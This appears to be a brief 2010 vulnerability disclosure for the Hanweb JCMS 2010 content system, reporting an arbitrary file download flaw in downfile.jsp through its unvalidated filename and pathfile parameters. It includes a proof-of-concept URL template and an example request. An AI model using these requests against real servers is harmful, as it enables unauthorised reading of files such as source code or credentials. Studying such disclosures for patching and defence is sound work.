JCMS 2010 – File Download
##################################################################################################### #Title: JCMS 2010 File Download Vulnerability #Date: 2010-11-22 #Author: Beach #Team: http://www.linux520.com/ #Vendor: http://www.hanweb.com/ #Language:Java #Greetz: Brother ##################################################################################################### [*]Description: In /module/download/downfile.jsp ,filename and pathfile didn't verify user's input So this vulnerability allows an attacker to download any files . ##################################################################################################### [*]POC: http://server/module/download/downfile.jsp?filename=[file_name]&pathfile=[Path/Path/file_name] ##################################################################################################### [*]I.E: http://server/module/download/downfile.jsp?filename=downfile.jsp&pathfile=module/download/downfile.jsp ##################################################################################################### |